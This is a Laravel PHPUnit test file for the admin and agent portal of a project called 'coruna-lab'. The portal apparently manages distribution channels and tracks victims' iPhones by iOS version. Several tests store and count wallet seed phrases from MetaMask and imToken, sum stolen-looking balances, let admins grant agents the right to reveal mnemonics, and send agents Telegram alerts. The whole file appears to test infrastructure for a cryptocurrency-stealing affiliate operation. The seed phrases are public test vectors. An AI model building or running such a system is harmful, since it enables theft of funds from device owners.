Files
coruna-lab/tests/Feature/AdminAgentPortalTest.php
T
2026-09-06 03:55:24 +08:00

561 lines
21 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AdminAgentPortalTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function users_and_channels_tables_exist_via_models(): void
{
$user = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => 'test',
]);
$channel = Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $user->id,
'status' => 1,
'remark' => 'demo',
]);
config([
'coruna.channel_domains' => ['cdn.example.com'],
'coruna.deployment_domains' => ['cdn.example.com'],
]);
$this->assertDatabaseHas('users', ['username' => 'agent1']);
$this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]);
$this->assertSame(
['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'],
$channel->supportLinks()
);
}
#[Test]
public function disabled_agent_cannot_login(): void
{
User::query()->create([
'username' => 'disabled',
'password' => 'secret12',
'status' => 0,
]);
$this->post('/user/login', [
'username' => 'disabled',
'password' => 'secret12',
])->assertOk()->assertJson(['code' => 1, 'msg' => '账号已禁用']);
$this->assertGuest('agent');
}
#[Test]
public function enabled_agent_can_login(): void
{
User::query()->create([
'username' => 'okagent',
'password' => 'secret12',
'status' => 1,
]);
$this->post('/user/login', [
'username' => 'okagent',
'password' => 'secret12',
])->assertOk()->assertJson([
'code' => 0,
'msg' => '登录成功',
'data' => route('user.home'),
]);
$this->assertAuthenticated('agent');
}
#[Test]
public function agent_google2fa_required_when_enabled(): void
{
$google2fa = app(\App\Services\AdminGoogle2fa::class);
$secret = $google2fa->generateSecret();
$agent = User::query()->create([
'username' => 'gaagent',
'password' => 'secret12',
'status' => 1,
]);
$agent->forceFill([
'google_auth_open' => 1,
'google_secret' => $secret,
])->save();
$this->post('/user/login', [
'username' => 'gaagent',
'password' => 'secret12',
])->assertOk()->assertJson(['code' => 1, 'msg' => '请输入谷歌验证码!']);
$this->assertGuest('agent');
$code = (new \PragmaRX\Google2FA\Google2FA)->getCurrentOtp($secret);
$this->post('/user/login', [
'username' => 'gaagent',
'password' => 'secret12',
'GACode' => $code,
])->assertOk()->assertJsonPath('code', 0);
$this->assertAuthenticated('agent');
}
#[Test]
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
{
config([
'coruna.channel_domains' => ['fallback.test'],
'coruna.deployment_domains' => ['fallback.test'],
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$projects = Mockery::mock(ChannelProjectService::class);
$projects->shouldReceive('generate')->once()->andReturn([
'channel_id' => 'placeholder',
'seeds' => [
'deployment_seed' => '11111111111111111111111111111111',
'reporting_seed' => '11111111111111111111111111111111',
],
'domains' => ['deployment' => [], 'reporting' => []],
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '/channel/x/weifile/weifile.html',
'daily_path' => '/channel/x/details/',
]);
$this->app->instance(ChannelProjectService::class, $projects);
$random = $this->actingAs($admin, 'admin')
->get(route('admin.channels.randomId'))
->assertOk()
->assertJsonPath('code', 0)
->json('data.channel_id');
$this->assertIsString($random);
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random);
$channelId = Channel::randomNewChannelId();
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => $channelId,
'user_id' => 0,
'remark' => 'official',
'status' => 1,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html');
$this->assertDatabaseHas('channels', [
'channel_id' => $channelId,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'remark' => 'official',
]);
}
#[Test]
public function agent_only_sees_own_channel_devices_and_addresses(): void
{
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
$chB = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create([
'device_id' => 'dev-a',
'channel_id' => $chA,
'device_model' => 'iPhone',
]);
$devB = Device::query()->create([
'device_id' => 'dev-b',
'channel_id' => $chB,
'device_model' => 'iPhone',
]);
WalletAddress::query()->create([
'device_id' => $devA->id,
'address' => 'addr-a',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
WalletAddress::query()->create([
'device_id' => $devB->id,
'address' => 'addr-b',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
$this->actingAs($agentA, 'agent')
->getJson(route('user.devices.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-a');
$this->actingAs($agentA, 'agent')
->getJson(route('user.addresses.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-a');
$this->actingAs($agentA, 'agent')
->get(route('user.devices.show', $devB))
->assertForbidden();
}
#[Test]
public function admin_agent_filter_scopes_devices(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]);
$ch = 'dddddddddddddddddddddddddddddddd';
$official = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $official, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]);
Device::query()->create(['device_id' => 'official-dev', 'channel_id' => $official]);
Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'mine');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['agent_user_id' => 0]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'official-dev');
}
#[Test]
public function dashboard_counts_smoke(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$d1 = Device::query()->create([
'device_id' => 'd1',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd2',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd3',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => 'TTestAddress111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '10.5',
'trx' => '2',
'eth' => '0',
'btc' => '0.001',
'bnb' => '1.25',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'chain_type' => 'ETH',
'usdt' => '1.5',
'trx' => '0',
'eth' => '0.1',
'btc' => '0',
'bnb' => '0',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 3)
->assertJsonPath('data.mnemonic_count', 2)
->assertJsonPath('data.address_count', 2)
->assertJsonPath('data.balances.usdt', '12')
->assertJsonPath('data.balances.trx', '2')
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
}
#[Test]
public function dashboard_date_range_filters_all_metrics(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$inRange = Device::query()->create([
'device_id' => 'in-range',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
'has_wallet' => Device::WALLET_YES,
]);
\Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$outOfRange = Device::query()->create([
'device_id' => 'out-of-range',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
'has_wallet' => Device::WALLET_YES,
]);
\Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$addr = WalletAddress::query()->create([
'device_id' => $inRange->id,
'address' => 'TInRangeAddr111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '5',
'trx' => '1',
]);
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$mn = WalletMnemonic::query()->create([
'device_id' => $inRange->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', [
'date_from' => '2026-08-01',
'date_to' => '2026-08-15',
]))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 1)
->assertJsonPath('data.new_count', 1)
->assertJsonPath('data.wallet_count', 1)
->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15');
}
#[Test]
public function admin_can_create_and_update_agent_album_storage_default(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.agents.store'), [
'username' => 'albumagent',
'password' => 'secret12',
'status' => 1,
])
->assertOk()
->assertJsonPath('code', 0);
$agent = User::query()->where('username', 'albumagent')->first();
$this->assertNotNull($agent);
$this->assertFalse($agent->albumStorageDefaultEnabled());
$this->actingAs($admin, 'admin')
->put(route('admin.agents.update', $agent), [
'album_storage_default' => 1,
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertTrue($agent->fresh()->albumStorageDefaultEnabled());
$this->actingAs($admin, 'admin')
->getJson(route('admin.agents.data'))
->assertOk()
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
}
#[Test]
public function admin_can_create_and_update_agent_mnemonic_reveal(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.agents.store'), [
'username' => 'revealagent',
'password' => 'secret12',
'status' => 1,
'can_reveal_mnemonics' => 1,
])
->assertOk()
->assertJsonPath('code', 0);
$agent = User::query()->where('username', 'revealagent')->first();
$this->assertNotNull($agent);
$this->assertTrue($agent->mnemonicRevealEnabled());
$this->assertFalse($agent->canRevealMnemonics());
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
$this->assertTrue($agent->fresh()->canRevealMnemonics());
$this->actingAs($admin, 'admin')
->put(route('admin.agents.update', $agent), [
'can_reveal_mnemonics' => 0,
])
->assertOk();
$this->assertFalse($agent->fresh()->mnemonicRevealEnabled());
}
#[Test]
public function agent_page_hides_mnemonic_reveal_when_env_off(): void
{
config(['coruna.mnemonic_reveal.staff_enabled' => false]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
User::query()->create(['username' => 'hideagent', 'password' => 'secret12', 'status' => 1]);
$this->actingAs($admin, 'admin')
->get(route('admin.agents.index'))
->assertOk()
->assertDontSee('查看助记词', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.agents.data'))
->assertOk()
->assertJsonPath('data.0.username', 'hideagent')
->assertJsonMissingPath('data.0.can_reveal_mnemonics');
config(['coruna.mnemonic_reveal.staff_enabled' => true]);
$this->actingAs($admin, 'admin')
->get(route('admin.agents.index'))
->assertOk()
->assertSee('查看助记词', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.agents.data'))
->assertOk()
->assertJsonPath('data.0.can_reveal_mnemonics', 0);
}
#[Test]
public function agent_list_shows_google_bound_status(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
User::query()->create(['username' => 'unbound', 'password' => 'secret12', 'status' => 1]);
$bound = User::query()->create(['username' => 'bound', 'password' => 'secret12', 'status' => 1]);
$bound->forceFill(['google_secret' => 'JBSWY3DPEHPK3PXP'])->save();
$this->actingAs($admin, 'admin')
->get(route('admin.agents.index'))
->assertOk()
->assertSee('谷歌验证', false);
$this->actingAs($admin, 'admin')
->getJson(route('admin.agents.data'))
->assertOk()
->assertJsonFragment(['username' => 'unbound', 'google_bound' => 0])
->assertJsonFragment(['username' => 'bound', 'google_bound' => 1]);
}
#[Test]
public function agent_cannot_create_channel(): void
{
$agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$this->actingAs($agent, 'agent')
->post('/user/channels', [
'channel_id' => 'gggggggggggggggggggggggggggggggg',
'status' => 1,
])
->assertStatus(405);
}
#[Test]
public function admin_can_send_agent_telegram_test(): void
{
config(['coruna.telegram.bot_token' => 'system-token']);
\Illuminate\Support\Facades\Http::fake([
'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create([
'username' => 'tgagent',
'password' => 'secret12',
'status' => 1,
'chat_id' => '-200',
]);
$this->actingAs($admin, 'admin')
->post(route('admin.agents.telegramTest'), [
'agent_id' => $agent->id,
'chat_id' => '-300',
])
->assertOk()
->assertJsonPath('code', 0);
\Illuminate\Support\Facades\Http::assertSent(function ($request) {
$text = (string) ($request->data()['text'] ?? '');
return str_contains($request->url(), '/botsystem-token/')
&& ($request->data()['chat_id'] ?? null) === '-300'
&& str_contains($text, 'Telegram 测试')
&& str_contains($text, 'tgagent');
});
}
#[Test]
public function agent_telegram_test_requires_chat_id(): void
{
config(['coruna.telegram.bot_token' => 'system-token']);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.agents.telegramTest'), [])
->assertOk()
->assertJsonPath('code', 1)
->assertJsonPath('msg', '未填写 Chat ID');
}
}